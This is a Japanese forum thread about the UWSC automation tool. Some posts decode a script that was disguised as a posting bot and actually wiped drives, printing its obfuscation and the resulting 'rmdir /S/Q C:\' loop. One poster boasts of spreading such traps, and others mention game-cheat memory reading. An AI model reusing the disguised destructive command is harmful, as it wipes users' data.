自動化ツールuwsc使いよ集まれ4at SOFTWARE
自動化ツールuwsc使いよ集まれ4 - 暇つぶし2ch700:名無しさん@お腹いっぱい。
09/10/21 23:02:22 eGE2n9Cp0
>>690を実行するとどうなんの?
エラーが出るだけ?

701:名無しさん@お腹いっぱい。
09/10/21 23:18:52 s2PXx/VI0
>>700
コードをちゃんと読めば理解出来るだろう。
メモ帳か何かにコピペして、それがどう弄られていくか書き出してみればいいよ。
知らない可能性があるのは、最終的にできあがるものだが、それはググれば一発で出てくると思うよ。
ちなみに65がAだから、66はB、67はCな。

702:名無しさん@お腹いっぱい。
09/10/21 23:54:14 H9pzsLFx0
>>701
それだけじゃわかんないと思うよ。
サイトAからXまで処理することになってるから。

A-X が C-Zに置き換わってると言えば分かると思う。


703:名無しさん@お腹いっぱい。
09/10/22 00:23:30 zsrKpKqI0
最初はB。ループの最初で66を67に置換でC、以降+1していくからDEFG…
65は最初から無い

704:危険!危険!
09/10/22 00:46:18 rtGLzJgQ0
なんで~(;´д⊂ヽ
>>690をやってみようとしたらエラーになるので
パソコンをリセットしたら
「Wwindows Boot Manager」の画面になってそこからどうにもならない
もうデータとか全部捨ててリカバリするしかないかも試練orz
ちなみにOSはVista
えらいことになったよ・゚・(ノω;`)・゚・
>>690はなんだったんだろうか?

>>701
65がAとか意味不明

705:名無しさん@お腹いっぱい。
09/10/22 01:14:14 k2O2PUZQ0
犠牲者報告がついに来たか。

>>690のスクリプトは、C:ドライブからZ:ドライブまでの全てのファイルを削除するというもの。
UWSCはコマンドを呼び出してるだけなんだけどね。

ウィルスと違うからアンチウィルスとかじゃ検出してくれない。
だからスクリプトは実行する人がそれをちゃんと理解するか、
信用できる人からもらったものじゃないといけない。

僕はプログラマで共同作業してるときですら、同期入社のやつから>>690みたいな動作のスクリプトを青果物として納品されて、
完成したプログラムが全部消えてなくなったことがある。

ちなみにそいつは北九州高専卒業のやつで会社は地元の東証一部上場企業での話ね。
人事部にちくったら「貴様を駆除するためにやらせたんだ責任とって死ね」って怒鳴られたけどね。
さすが毒饅頭を出荷してる土地柄だけはある。

そんな感じだから信用できる人間の区別もまた難しいんだけど、
とにかく検査されたもの以外は安易に実行してはいけないってことだ。


706:名無しさん@お腹いっぱい。
09/10/22 01:43:45 zsrKpKqI0
>>704
> mode="mdS5RgzP4/Q B"
> bbb=":\"

chgmoj(mode,"S5RgzP4","ir /S ")
"mdS5RgzP4/Q B"中の"S5RgzP4"を"ir /S "で置換。
結果、mode="mdif /S/Q B"

> cc="r"+ chgmoj(mode,"S5RgzP4","ir /S ")+bbb

cc="r" + "mdir /S/Q B" + ":\"
  ="rmdir /S/Q B:\"

> cc = replace(cc," "+chr(size+time-1)," "+chr(size+time) )
最初のループ:time=1,size=66につき chr(size+time-1)=chr(66)=B chr(size+time)=chr(67)=C
cc = replace(cc," B"," C")
コマンドcc中の" B"を" C"で置換
cc="rmdir /S/Q C:\"

以降、ループが回る毎にCをDに置換・DをEに置換…とやっていくが、
最初のCを消した時点でcmd.exeも消えてD以降はエラーになる

707:名無しさん@お腹いっぱい。
09/10/22 01:46:14 rtGLzJgQ0
>>705さん
詳しいレスありがとうございます
つまりインストールしていたソフトやデータはすべて消えた後ってことですね
これでリカバリする踏ん切りつきました
夜遅くにすいませんでした

>>690死ね!

708:名無しさん@お腹いっぱい。
09/10/22 01:49:50 rtGLzJgQ0
>>706
えっ!
私はカキコ遅いんですけどその間にレス頂いた様で
ありがとうございます
ということはソフトやデータはまだ残っているって事なんでしょうか?
とすれば>>705が悪意のあるレスで>>690は善意の解答者???
もうわけわかんないです(;´Д`)
とりあえず復旧方法探してみます
夜中にすいませんでした

709:名無しさん@お腹いっぱい。
09/10/22 01:54:00 zsrKpKqI0
これを読んでもまだわからないような超初心者が安易に実行なんてするなよ(´Д`)
今後何度だってトラップに引っかかって今度のような目にあうぞ。

rmdir /S/Q C:\
の意味は "C:\" を中身ごと消せ。

つまり>>705の通りだが、C:\を消したらコマンド続行不能になるのでDは無事の可能性高い。
当然ながらOSは起動不能。

710:名無しさん@お腹いっぱい。
09/10/22 01:58:18 rtGLzJgQ0
>>709さん
了解です
うかつに実行した自分の責任です
ご親切にありがとうございました
>>705さん疑ってすいませんでした
教えてくれてありがとうです
今日は遅いので明日にでもリカバリします

>>690死ね死ね死ね!!!

711:名無しさん@お腹いっぱい。
09/10/22 02:32:59 mgMzrVp30
VISTA使ってんなら、管理者として実行するを選ばない限りDOSコマンドでwindowsのシステムファイルは消えない
rmdir c:\ /s /qしてもファイル削除自体をはじかれる

つ~わけで、釣りだろ?

712:名無しさん@お腹いっぱい。
09/10/22 02:36:13 k2O2PUZQ0
俺仮想で実行した>>698だけど、そんとき書かなくてごめんね。
一応
> 「しまった。共有ドライブが!」とか思った
っていうのがヒントになってると思ったんだけど。


んで僕はC:で実行中のWindowsシステムファイル以外は消えたの確認したけど、
D:にページファイル置いてて、ついでに小物ツールとか置いてたんだけど、それ全部消えてました。
だから一応はリカバリするまでD:以降は残しておくべきだけど、消えてる可能性は高いかなと。

ただ、ループ中に
> IE = CreateOLEObj(aaa)
でオブジェクトがないっていうエラーが出てたから、きっとD:は処理しなかったんだろうと思ったんだけど・・

> if "" <> doscmd(cc) then continue
C: D:を処理するときにはこれがtrueになってOLEの処理は飛ばされてたのかも。
でE:はドライブがないよってエラーを返すからOLE実行して、エラーになったかな?

共有ドライブはドライブレターが飛んでるから助かったっぽい。

>>706
> 最初のCを消した時点でcmd.exeも消えてD以降はエラーになる
cmd.exeは実行中だから自分自身を消さないんじゃね?
FATとか使ってれば消えるのかもしれないけど。

>>707
>>710
どーしても取り戻したいファイルがあるなら、その消えたHDDを復活ツール使って復活する方法はあるよ。
ただしリカバリでデータを書き込んだら上書きされて取り出せなくなるけどね。
ツールはあってもファイル数が半端じゃないし、ファイル名の1文字目が消えてて探すのも大変だけど。
必要なのはその消えたHDDを追加できる環境と復活ツールと、復活する手間隙。
業者に頼んでもいいけど、1MBあたり1万円とか取られるんじゃないかな。

713:名無しさん@お腹いっぱい。
09/10/22 02:48:12 k2O2PUZQ0
>>711
UWSCスクリプトが内部で呼び出すDOSシェルはVistaでもいちいちUACで聞いてこないんじゃね?
少なくともWindows7では聞いてこないと思うけどな。

そもそも実行しようと思っているんだから仮にUACで確認されてもOKをクリックするだけだと思うよ。

あ、UACじゃなくてファイル保護の話か。
でも保護されるのはWindows配下とProgram Files配下くらいで、
アプリの設定ファイルとかユーザーデータとかはことごとく消えるんじゃないかな。
他ユーザーのデータは残ってるだろうけど、一人でいくつものアカウントを使い分けたりしないだろ?めんどくさいし。

で、ファイル保護されてシステムファイルが消えないんだとすると、D:ドライブ以降も全部消えてるだろうね。
僕はXPで試したけどVistaならOLEもエラーにならなくてZまでしっかり実行される気がする。

実行したらVistaの方が被害が大きいんじゃないかな。

> IESetData(IE,True,"lr",kakikomi[time])
これがエラーでストップするならドライブレターが飛んでるところは大丈夫だろうけど、多分スルーされるよね。
DOMアクセスしてたら名前不一致でエラーになるけど。


714:名無しさん@お腹いっぱい。
09/10/22 03:15:43 7U7T32pD0
ID:rtGLzJgQ0は>>682かな?
だとしたらすげー面白いんだけどなw
自分は全然悪くないと思ってるところとか

715:名無しさん@お腹いっぱい。
09/10/22 03:31:39 mgMzrVp30
>>713
両方の事なんだけど、UACないとprogram filesとwindowsのファイルは消せないっぽいし、
UACでもファイル保護とか実行中のexe DLLは削除無理っぽいんだよね
スクリプトだからUACを有効に出来ないわけだろ?
するとWindowsだけはとりあえず起動するだろうから、釣りとしか思えない

716:名無しさん@お腹いっぱい。
09/10/22 03:42:55 k2O2PUZQ0
>>715
> スクリプトだからUACを有効に出来ないわけだろ?

意味分からん。
UACって実行許可を求めるものだから、許可したら動くに決まってる。

実行中の実行ファイルが消えないというのはなんの助けにもならない。
Windows起動時にどのファイルを読み込んでどんな処理をするかが書かれているのは実行ファイルじゃないしな。

実行ファイルだけがあればソフトは勝手に動くと思ってるのかな?

717:名無しさん@お腹いっぱい。
09/10/22 03:48:52 k2O2PUZQ0
VBScriptでVistaのUACの権限昇格を行う方法
URLリンク(hitaki.net)

ああ、スクリプト側で昇格処理してユーザーが許可を出さないと管理者権限で実行できないのか。
でもUWSCって管理者権限で実行しないとそもそも動かないんじゃなかったっけ?


718:名無しさん@お腹いっぱい。
09/10/22 04:06:17 mgMzrVp30
許可しなくても動く
すべての関数を使ったことないから全部そうなのかまでは分からない

719:704
09/10/22 05:47:51 rtGLzJgQ0
>>711
VistaでUWSCを動かすためには「管理者権限で実行」しないと動かなかったですよ
以前ここで教えてもらったんですよ
なので綺麗に削除されました

>>714
そですよ
>>682は私です
せっかく作ってくれたんだから使ってお礼のレスを入れないとって思って使いました
結果は先に書いたとおりです
面白いですか?

>>715
Windowsは起動しないです
ウィンドーズブートなんとかって画面で
「Esc」キーか「リターン」キーを押すように英語で記載されてる
どちらを押しても再起動してその画面に戻るだけでした
釣りじゃないですよ

>>717
あなたが正解です
VistaでUWSCは管理者権限での実行でしか動きません

>>718
自分はプレインストールのVistaHBですが
UWSCを実行させる場合は必ず管理者権限でないと
UWSCは起ち上がっても自動実行は一切出来ないですよ

720:名無しさん@お腹いっぱい。
09/10/22 06:05:55 7U7T32pD0
>>719
まあ高い授業料だったと思えばいいね
色々といい経験になったでしょ

721:名無しさん@お腹いっぱい。
09/10/22 06:13:27 rtGLzJgQ0
>>720
はい(´;ω;`)
あなたはいい人だね
ありがとです

722:名無しさん@お腹いっぱい。
09/10/22 10:46:24 QFAR0xIb0
>>721
言葉だけでいい人と判断するなら、行動としてスクリプトでフォーマットしてもいい人かもねw


723:名無しさん@お腹いっぱい。
09/10/22 12:07:54 FjUQjAwk0
>>719
VistaHP使ってますが管理者権限にせずに動いています
アカウントもアドミニですが

724:名無しさん@お腹いっぱい。
09/10/22 14:00:00 u/5hQA4K0
>>712
おまえも戦犯だ責任とって氏ね

725:名無しさん@お腹いっぱい。
09/10/22 14:25:42 k2O2PUZQ0
>>724
戦犯?
>>687ですよ?
取引に応じてくれたらちゃんと作ってあげたのに。

そもそも 「ぜんぜん別の掲示板なら1箇所当たり2千円」 っていうところをちゃんと理解してくれていれば
>>690 みたいな単純なループでは実現できないってことは分かるはずなんだよ。

どーせ>>682-684みたいなことを考えるやつは
政治的なコピペを張りまくるか 「俺その時間自宅でネットやってました」 っていうアリバイ作って犯罪を逃れようとしてるとかだろうから
親切には教えなかっただけなんだけどね。

ちゃんと読んでくれていればあちこちにヒントもちりばめてるんだし。
> Cから順にやるのかすごいな
> 「しまった。共有ドライブが!」
> ぜんぜん心配いらんかった。  -> そっちは心配いらんかった。

>>696だってそれをにおわすこと書いてくれてるし

人をだます人がいることを分かってないお人よしなのか、そういうのを力でねじ伏せてる人なのか、どっちなんだろ。


726:名無しさん@お腹いっぱい。
09/10/22 15:20:23 QFAR0xIb0
>>725
どうでもいい。

727:名無しさん@お腹いっぱい。
09/10/22 19:03:49 kTghvya90
ただ単純に、スレ違いも甚だしい所でクレクレ行為まがいの事をして、
読めもしないコード貰って実行するバカが悪いだけだろ。
>>690を見て何も疑わずに実行するのはレベル低すぎないか?
俺はネタをネタとryと同じようなもんじゃないかと思うが。

728:名無しさん@お腹いっぱい。
09/10/22 21:19:22 4BdU1cL60
>>727
正解

729:名無しさん@お腹いっぱい。
09/10/22 22:49:45 fNEtWyaw0
戦犯とか意味不明にしても
みんな静かにニヤニヤしながら黙ってみてたんだろ?
偉いなー。みんな空気読んでるなー。って
昨晩から感心してたところだよ

730:lymEYIfFBULtWrMMQD
09/10/22 23:41:54 kObaYugK0
I'll see everybody tomorrow on What's Up Wednesday. ,

731:名無しさん@お腹いっぱい。
09/10/23 00:30:11 SAH7zdiT0
誰かウィルスにでもかかったのか?

> 529 名前:BDHkJPLEn[f032ebe2nd.@gmail.com] 投稿日:2009/10/23(金) 00:03:01 ID:???
> So, in my blog, I look for opportunities to present perspectives that are often censored. ,


732:名無しさん@お腹いっぱい。
09/10/23 02:04:28 Wc1ARWvB0
ソフ板の定番のスクリプトコピペが少しは意味のある単語を入れ始めただけ

733:名無しさん@お腹いっぱい。
09/10/23 04:51:08 DWLH0rQm0
興味持った初心者が実行しちゃうとか思わないのかねぇ
モラルのないクズばっかりだなぁ、情けねーわ

734:名無しさん@お腹いっぱい。
09/10/23 08:50:16 Hx39oh9p0
思慮のない初心者は痛い目にあって知恵をつけていくしかない

735:名無しさん@お腹いっぱい。
09/10/23 10:57:36 SAH7zdiT0
初心者が毎日来るとは思ってないし。
土日でもないし。

>>734みたいのはひどいと思うけど
「特定の人々にとって都合の悪い書き込み」があったスレにはいつも必ずウィルススクリプトが貼り付けてあった。
ウィルススクリプトはテキスト状態でもウィルスチェッカが発見してログを削除してしまうのを利用しているんだ。

自分が痛い目を見るだけならともかく、ウィルスをばら撒くようなことにもなりかねないから、
確かに痛い目を見てでも安易な実行は避けることを覚えるべき。


736:名無しさん@お腹いっぱい。
09/10/23 11:51:00 iEyplr100
>>721
念のため警察に通報しとけよ

737:名無しさん@お腹いっぱい。
09/10/23 15:05:32 Wc1ARWvB0
>>733
今回は用途が板爆撃スクリプトなだけに使おうと思う奴も
作った奴もどっちもどっちって感じだがな。

738:名無しさん@お腹いっぱい。
09/10/23 17:59:13 hoAE3VuS0
>>736
裏2chへの行き方とか、ウイルスの掃除の仕方とか何とか言って
フォーマットとかふしあなトラップ仕掛けている人を通報するとか言ってるのと同じようなもんだとなぜ解らないんだろうなw

そもそも「己のスクリプトを晒しましょ。」なんていうスレなんだし、
多少のスキルがあるヤツしか居ないと思うんだがなぁ。
まぁ、>>690見て実行するようなヤツは半年くらいネット繋がずに自力でスプリクト書いてろよw

739:名無しさん@お腹いっぱい。
09/10/23 19:52:40 i7NNR92L0
関係ない
実害が出たらまず110
逮捕されるかどうかは警察まかせでいい

あとふしあなとは全く違う

740:名無しさん@お腹いっぱい。
09/10/23 19:59:08 rK5f7ruL0
ネットで調べることをやめさせてどうするんだ。

741:名無しさん@お腹いっぱい。
09/10/23 20:01:27 Hx39oh9p0
ゆとり脳多すぎワロタ

742:名無しさん@お腹いっぱい。
09/10/23 20:20:51 9mI/MsVb0
>>739
クソワロタwww

743:wZADhxijwdhbPogdHEe
09/10/23 21:39:08 w7n4Xjz00
Includes Protective Sports Equipment and Protective Wear. ,

744:名無しさん@お腹いっぱい。
09/10/23 22:42:04 KXvduCK+O
uwsc作者のumiumiが一番の悪人
奴は拳銃を売って儲けるヤクザの元締めと一緒
あいつを捕まえない限り被害者は増加し続ける

745:名無しさん@お腹いっぱい。
09/10/23 23:21:29 Hx39oh9p0
ついに作者にまで責任転嫁始めたかw
面白すぎるw

746:名無しさん@お腹いっぱい。
09/10/23 23:35:24 Yh5II5xX0
>>690>>682の無差別掲示板荒らしを未然に防いだと言う意味で評価されるべきだ


747:名無しさん@お腹いっぱい。
09/10/23 23:59:41 t1jDgBDQ0
サーバに無駄な負荷を掛ける攻撃を目論んでいた>>682は典型的な犯罪者
社会のクズを退治した>>690は正義の使者だよ、もちろん

748:名無しさん@お腹いっぱい。
09/10/24 00:31:01 zq9vSvMH0
>>744
そもそもWindowsがあるのがいけないんですね!解ります!

749:名無しさん@お腹いっぱい。
09/10/24 14:36:16 0z+51oUb0
>>744
そんなの言い出したら包丁売ったら犯罪とか、ライター売ったら犯罪とかってことか?
ちなみに47氏でも勝訴だぞ。

750:名無しさん@お腹いっぱい。
09/10/24 16:31:07 7wNQpB3T0
ネタにマジレス

751:名無しさん@お腹いっぱい。
09/10/24 18:01:59 jvbbXPzt0
クズスレ

752:名無しさん@お腹いっぱい。
09/10/26 22:52:30 +luvcpcv0
Windows7買ったんでこのスレの話を参考にVirtual PC導入したよ
>>690実行しても仮想環境ならワンボタンで取り消せて(・∀・)イイ!!

思う存分危険スクリプト作れるぜ
丸投げ厨に配布しまくろっと

753:名無しさん@お腹いっぱい。
09/10/26 23:14:25 jdxyP/Yd0
なんか変なのが住み着いたなぁ

754:名無しさん@お腹いっぱい。
09/10/26 23:27:49 jrd5+kFQ0
>>752
丸投げ厨です
これからもよろしくね♪

755:名無しさん@お腹いっぱい。
09/10/27 01:21:29 DQzhoBiL0
現在あるゲームの自動操作を行わせているのですが、画像判定(chkimg)の箇所が多く、また不安定なため、通信受信内容で判別できるように改良したいのです。
雲をつかむような表現で申し訳ないのですが、どのような関数を参考にするといいのでしょうか?

756:名無しさん@お腹いっぱい。
09/10/27 01:31:38 TiHUFHbO0
>>755
通信関係の関数は無いです。
無理やりにでもやるとしたら、外部DLL等の読み出しによって行われる事になるでしょうけど…
それはUWSCの範疇ではないと思います。

…でも俺もちょっと知りたい。なんか判ったら教えてw

757:名無しさん@お腹いっぱい。
09/10/27 01:42:53 6cas0igo0
>>755
その通信内容というのがサーバーとの通信って事なら、
暗号解除とかコード解析のためにゲームガード破ってコード解析しないといけないでしょう。

そんで解析した後も、通信を傍受するソフトと暗号解除するソフトは別途必要になると思います。


758:名無しさん@お腹いっぱい。
09/10/27 11:14:48 DQzhoBiL0
>>755です。
たとえば、NESを代表するエミュレーターのバイナリを監視し、値を取得するようなことを
UWSCでは関数としてあるのかな~とおもってまして。

また雲をつかむような話ですが、ある.exeファイルを監視し、特定のアドレスの値がXXになったらアラームとか。
そんな感じで値を取得できないかなぁとおもいまして。

引き続きご意見、ご助言をおねがいします。

759:名無しさん@お腹いっぱい。
09/10/27 11:17:28 7cHtZVxc0
>>758
それだったらDLL経由でできる

760:名無しさん@お腹いっぱい。
09/10/27 14:19:32 6cas0igo0
>>759
> 特定のアドレスの値がXXになったらアラームとか。
これはUWSCでは無理じゃない?

UWSCがイベント受け取って動けるのはCOMのイベントだけでしょ。
COM組むとなるとかなり大変だと思うけど。


761:名無しさん@お腹いっぱい。
09/10/27 14:53:46 7cHtZVxc0
普通にDLL使えますが・・・

762:名無しさん@お腹いっぱい。
09/10/27 15:30:42 6cas0igo0
>>761
マジで?
実際試せるそーすプリーズ

763:名無しさん@お腹いっぱい。
09/10/27 15:31:16 ukIubvelP
一般的なアプリって固定的にメモリ使ってるの?
それにどうやって知りたい情報のアドレスを特定するの?

識者の人、解説よろ

764:名無しさん@お腹いっぱい。
09/10/27 15:35:01 7cHtZVxc0
>>762
ヘルプくらい読めよ・・・

765:名無しさん@お腹いっぱい。
09/10/27 15:37:51 6cas0igo0
>>764
ああ、最近Windows7つかっててUWSCのヘルプ開けなかったんだ

// イベント処理の定義
OLEEVENT( オブジェクト, インタフェース名, イベント名, Procedure名 )
引数
   オブジェクト: COMオブジェクト

でも、UWSCのイベントはOLE前提みたいだけど、新しい関数できたの?


766:名無しさん@お腹いっぱい。
09/10/27 15:46:42 7cHtZVxc0
>>765
<DLL 使用定義>
 // DLL (API等)の関数を使用する事ができるようになります

 DEF_DLL 関数名(型, 型, ...): 戻り型: DLL名
 型: int、long、bool、uint、hwnd、string、Wstring、float、double、word、dword、byte、char、pchar、Wchar、pWchar、boolean、longlong、Extended、SafeArray

 参照引数(値変更あり)の場合は Var 宣言を付ける      関数名( var double, var int )      
 構造体:型を { } にて展開して書く      関数名( double, {int, int, int} ) 
 配列の場合は 型に [] を付ける      関数名( double[], int[] )

 ※int=long= bool(4byte)、dword=uint=hwnd、 char=boolean(1byte)
   ヌルポインタを渡す時は NULL定数を使用して下さい


てきとーなこと言う前に、ちゃんとヘルプ読む癖をつけよう

767:名無しさん@お腹いっぱい。
09/10/27 16:05:19 6cas0igo0
>>766
それはDLL関数を呼び出す定義だろ?
どーやってDLL関数にUWSCの関数を渡すんだ?

いや、UWSCでループするかDLL関数内でループしてればそういう動作することが出来るのはわかってるけどさ。


まあどっち道値の書き換え監視はループして監視しなきゃいけないわけだからそういう風に作るとして、
DLL内でループすると他のことが出来なくなるからマルチスレッドにしなきゃいけないっていうかイベント処理はどの道マルチスレッドか。

マルチスレッドにしないならUWSCの主処理ループで状態チェックしてそれにあわせて分岐か。
その場合監視項目をまとめて処理する関数呼び出してIDでどれが変更になったか見分けるのがスマートかな。
イベント型で不定期に発生すると他の操作との絡みがあるからやっぱそれしかないか。
この方法の問題点は、監視タイミングがかなり緩慢になって、回復処理が必要になってもなかなか回復しないとか言うデメリットがあるんだよね。

UWSCのマルチスレッドが他のスレッドを一時停止とか終了のコントロールが出来ればイベント型スクリプトを作りやすいんだけどな。


768:名無しさん@お腹いっぱい。
09/10/27 17:47:38 7uDFKqAz0
改行をどうにかするか、長文をどうにかするk(ry

769:名無しさん@お腹いっぱい。
09/10/27 19:30:51 6cas0igo0
ごめーん
最近年のせいか知らないけどだらだらしゃべっちゃうんだよねえ。
まるで無責任艦長タイラーみたいにさ。

まだまだ人生残り50年だと思ってたんだけどそろそろ2ちゃんねる引退時かな?

イベントドリブンなスクリプトで検索すると、JavaScriptがいっぱい出て来るねえ
でもローカルで動かすのにJavaScriptじゃしょうがない。
JScriptとかVBSctiptならHTA・・どのみちWebベースか。

schemeとかもそーなのか
LSLって何かと思ったらセカンドライフのスクリプトか


HSPにsetcallbk って関数があるな
これは意外な。

SocketDebuggerってのにLuaスクリプトってのがあるな。
通信データをスクリプトで監視してデバッグできるんだってさ。
これゲームガードに阻まれなければチートに応用できそうだな。


770:名無しさん@お腹いっぱい。
09/10/27 20:34:22 qgi5nNQ40
まさにKYってこういう人を指すんだろうな
間違いなくあなたの文章は誰も読まない
コピペ荒らしよりも不愉快な存在



771:名無しさん@お腹いっぱい。
09/10/27 20:36:09 6cas0igo0
KYってもともと石垣島のさんご礁に落書きされたのが発端って知ってる?

772:名無しさん@お腹いっぱい。
09/10/27 20:48:07 dmqDK93Q0
これはさすがにもう擁護できないウザさだな
>>767辺りでやめときゃ良かったのにわざわざ反感買ってどうすんだ
死ね老害

773:名無しさん@お腹いっぱい。
09/10/27 21:26:14 JjIhm7H6P
クズスレ

774:名無しさん@お腹いっぱい。
09/10/27 22:00:31 6cas0igo0
判定関数を使ったイベント登録っぽく使えるモジュール書いてみた。動くかどうかはしらない。

イベントモジュール.初期化()
~処理~
イベントモジュール.Quit()

Module イベントモジュール
 DIM QFlag

 Proceduer 初期化()
  this.QFlag = false
  Thread 関数登録()
 Fend

 Proceduer 関数登録()
  while true
   if 判定関数 then イベント関数()
   if this.QFlag then break
   sleep(0.1)
  wend
 Fend

 Proceduer イベント関数()
  //ここでイベント処理
 Fend

 Proceduer Quit()
  QFlag = true
 Fend
EndModule


775:名無しさん@お腹いっぱい。
09/10/27 23:49:58 DQzhoBiL0
>>755です。
ご意見、ご助言ありがとうございます。

別プロセスのメモリを読み込むサブスクリプト
URLリンク(park14.wakwak.com)

Vector:Memory.dll
URLリンク(rd.vector.co.jp)

このあたりでなんとかならないかなぁと考え中です。

776:名無しさん@お腹いっぱい。
09/10/28 13:43:40 /Aufm+7p0
どこまで省略して書いていいのか分からないので、おかしかったらごめんなさい。


while 1
sleep(0.1)
call 1.uws //マウスで特定箇所をクリック
sleep(0.1)
call 2.uws //↑キー10回連打
sleep(0.1)
wend

こんな感じで、一連の動作に20秒かかるものがあったとして、
その動作とは関係なく、10秒ごとにスクリーンショットをとる「a.uws」があるとすると
どう記述すればいいか教えて貰えないでしょうか。

uwscを複数起動させるしかないのかな・・・


777:名無しさん@お腹いっぱい。
09/10/28 13:50:30 wjFSozMw0
>>776
thread で10秒ごとに処理を実行するスクリプト(while でまわしてsleepでもやれ)を動かせ

778:776
09/10/28 14:09:21 /Aufm+7p0
うぉ。
素早い返答ありがとうございます。
試してみます。


779:名無しさん@お腹いっぱい。
09/10/28 16:13:10 LN396H4A0
IFで足し算使った方が良くね?
ズレるかもしれんからthread使ってないんだけど全くズレないのか

780:名無しさん@お腹いっぱい。
09/10/28 17:02:27 NfK6OA8p0
>>779
足し算ってなに?

時間がもっとも正確なのはGetTime()
でもSleep()の方が処理が軽い。
メインループで何回かに一度実行するのがもっとも時間が不安定になるが、
他の処理とかぶらないのでCPU使用時間に対するUWSCの占める時間は安定するし、
操縦も安定して実行できる。

Sleep()した時間を足していく方法もいいけど、
ある程度時間のかかる処理をすると、その分だけ時間がかかる。
確かにSleep時間を取れば汎用的だけど、もっと大雑把に回数でやったほうが、特に初心者にはやりやすい。

もしSleep時間でやるとしたら、こんな風にやるのがシンプルだし処理も軽い。
while true
 for t = 1 to 10 step 0.3 //stepはSleep時間の合計
  処理1
  Sleep(0.1)
  処理2
  Sleep(0.1)
  処理3
  Sleep(0.1)
 next
 キャプチャ処理
wend

細かいことを言えば、Stepが0.3の場合、初期値も0.3なのが普通だけど、
ループ自体に時間もかかるし、Sleep以外の処理でも少し時間がかかるので
初期値1にしたほうがより近い時間になるだろうし、
初心者にも初期値は1で固定したほうが10回のときに1から10だから分かりやすいだろう。

あ、でも、定期的な処理が複数あって時間もまちまちの場合はこのやり方は不向きだな。応用が利かない。

781:名無しさん@お腹いっぱい。
09/10/28 17:11:42 LN396H4A0
たしざん 【足し算】
二つ以上の数を加えてその合計を出す計算。加え算。寄せ算。加法。加算。

782:名無しさん@お腹いっぱい。
09/10/28 20:12:47 1RRSN1UB0
アクティブなフォルダに空の「NewFile(1).UWS」を作るようにすることって出来るかな
(1)の部分は既にファイルがあれば(2)(3)~となるように

ヘルプとか見ながら考えてるんだけど、全然分からない

783:名無しさん@お腹いっぱい。
09/10/28 20:20:54 NfK6OA8p0
>>782
それはできるけど、作ったファイルをCALLすることは出来ないっぽいよ。

CALLする .uwsファイルは、親をロードしたときにまとめて読み込むみたいだから。


784:名無しさん@お腹いっぱい。
09/10/28 20:21:35 NfK6OA8p0
あ、SHELLを使って別プロセスで実行することは出来るだろう。

785:名無しさん@お腹いっぱい。
09/10/28 20:24:33 4CuQ5Xji0
>>782
i = 0
While Fopen("NewFile(" + i + ").UWS",F_EXISTS) //存在チェック Falseが帰るまで続く
Wend
FCLOSE(FOPEN("NewFile(" + i + ").UWS",F_READ or F_WRITE)) //存在しないFileを開いて何も書き込まずに閉じるとそのファイルだけ作成される

こんな感じじゃない?
俺も昔同じような事しようとして、空ファイル作成出来る事を知らずに、DosCmd("prompt > "+Filename,,)とかやってた。

786:名無しさん@お腹いっぱい。
09/10/28 20:34:22 4CuQ5Xji0
>>785
思いっきり書き忘れた。
Whileループの中でi = i + 1しないとiが0のままやんorz
1~にするなら最初がi = 1ね。解ると思うけど。

787:名無しさん@お腹いっぱい。
09/10/28 20:51:57 1RRSN1UB0
>>783
コールは使ったことないから大丈夫だと思う

>>785
ファイルを作るのはできた、ありがとう
やっぱりその辺で出来たんだ
でもこれだとこのファイルがあるフォルダにしか作れないけど
アクティブなフォルダを指定するにはどうしたらいいんだろう?

788:名無しさん@お腹いっぱい。
09/10/28 21:01:51 4CuQ5Xji0
アクティブなフォルダって言うのは、現在explorerで開いてるフォルダってことかな?
それならbatファイルでも作った方が早い気がするが、UWSCにこだわるなら、
GETITEMとか使ってそのフォルダ位置を特定して、GETDIR使ってファイル名取得して、DOSCMD使ってファイル作成が現実的じゃないかな?
短いコードで示せないし、面倒そうだから頑張ってくれとしか言えないが。。。

789:名無しさん@お腹いっぱい。
09/10/28 21:06:56 1RRSN1UB0
batファイルでそういうの出来るんだ
batファイルで挫折したからUWSCなら出来るかなと思ってやってたんだけど
batで出来るならそっちで頑張ってみるわ
色々ありがとう

790:名無しさん@お腹いっぱい。
09/10/28 21:20:50 4CuQ5Xji0
あと使えそうなのは、batにしろUWSCにしろ、そのフォルダ自体を選択して、
送るメニューでSendToフォルダに入れたbatだかUWSCかなんかに送って、その引数から調べるって事かな。
スレチに近くなると思うから、適当にしらべてくれい。

791:名無しさん@お腹いっぱい。
09/10/29 07:32:32 GVyFpQ2YO
SAVEIMGで保存したBMPを別のPCに移し
CHKIMG関数使い認識させたら
うまく認識してくれません
これは画像を撮ったPCでしか使えないものなんですか?

792:名無しさん@お腹いっぱい。
09/10/29 07:56:16 pwqTC0UdP
画面の設定で色数が少ない方は減色されてて色は完全一致しなくなる。
また、グラフィックアクセラレーターでいろんな効果をつけたり色味を調整してても同じ。
CHKIMGは基本的に色は完全一致で見るみたいだから、形で見るオプション指定たらいいんじゃないかな。

793:名無しさん@お腹いっぱい。
09/10/29 09:06:11 GVyFpQ2YO
>>792
回答ありがとう
今は形で見る-1で認識させてるんですが
うまく行かないんですよ

794:名無しさん@お腹いっぱい。
09/10/29 09:08:38 KyrcyRow0
16bit と 24bit(32bit) ビットマップの比較をしてしまっているってこと?

795:名無しさん@お腹いっぱい。
09/10/29 09:16:51 GVyFpQ2YO
仮に16bitと24bitで比較してても形で認識なら問題無いのでわ?

796:名無しさん@お腹いっぱい。
09/10/29 09:31:10 KyrcyRow0
>>795
座標を固定にしてて、タイトルバーの幅とかでズレてるとか

797:名無しさん@お腹いっぱい。
09/10/29 09:56:58 GVyFpQ2YO
>>796
座標も入れてないんです
CHKIMG(画像名,-1)
このように書いてますが他のPCで認識しません

798:名無しさん@お腹いっぱい。
09/11/04 12:52:41 8Qcx8WSzO
こんにちは初心者です^^
バックグラウンドで動かす方法を教えてください^^

799:名無しさん@お腹いっぱい。
09/11/04 18:34:29 R5YB3x7J0
CLKITEM使えばいいと思うよ
これでなーんにも分からないなら死ねばいいと思う

800:名無しさん@お腹いっぱい。
09/11/04 18:47:45 v9XrPJ0LP
どう考えても釣りだから相手にするだけ無駄

801:名無しさん@お腹いっぱい。
09/11/04 19:34:50 V7YiZudu0
SystemParametersInfo API を使って、レジストリの更新をWindowsに認識させたいのですけど
(壁紙のレジストリを書き換えて、その場で表示が変わるように)
WScript.Shellを使ってのレジストリの書き換えは出来ましたが、更新が出来ません。

調べてみると、SystemParametersInfo、を使えとありましたが
どうにもDEF_DLLの書き方や、そのあとの呼び出し方がわかりません。

DEF_DLL SystemParametersInfoA(Int, Int, String, Int) :Int :User32
